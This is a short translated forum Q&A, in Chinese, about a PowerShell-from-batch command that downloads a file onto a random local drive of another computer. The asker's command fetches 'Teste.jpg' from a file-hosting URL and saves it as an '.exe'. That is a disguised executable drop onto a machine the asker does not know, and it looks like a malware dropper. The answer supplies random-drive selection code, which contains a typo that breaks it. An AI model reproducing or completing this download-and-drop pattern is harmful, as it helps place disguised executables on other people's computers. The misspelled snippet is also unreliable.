找一个随机的本地驱动器并在那里下载文件

时间:2016-01-27 08:41:16

标签: powershell batch-file download

正如标题所说,我想找一个随机的本地驱动器并下载驱动器中的一些文件。

嗯,这就是我的实际路线:

powershell.exe -Command "& {if($PSversionTable.PSVersion.Major -ge 3) {Invoke-WebRequest http://download1475.mediafire.com/dgmccvd5felg/cu6x9bzhx3hmz78/Teste.jpg -OutFile atf3@~~.exe}}"

正如您所看到的,我已经有了下载文件的方法,但我希望这些文件可以在这个随机驱动器中下载,我需要一些帮助。

它会在另一台计算机上发生,所以我没有如何对本地驱动器一无所知,所以请为任何情况准备这个脚本,我需要该脚本在一个批处理文件中运行。

1 个答案:

答案 0 :(得分:2)

您可以选择随机本地驱动器并将工作目录更改为其根文件夹,如下所示:

$root = (Get-WmiObject Win32_Volume -Filter 'DriveType=3 AND NOT DriveLetter IS NULL' | Get-Random).DriveLetter + '\'
Set-Loction $root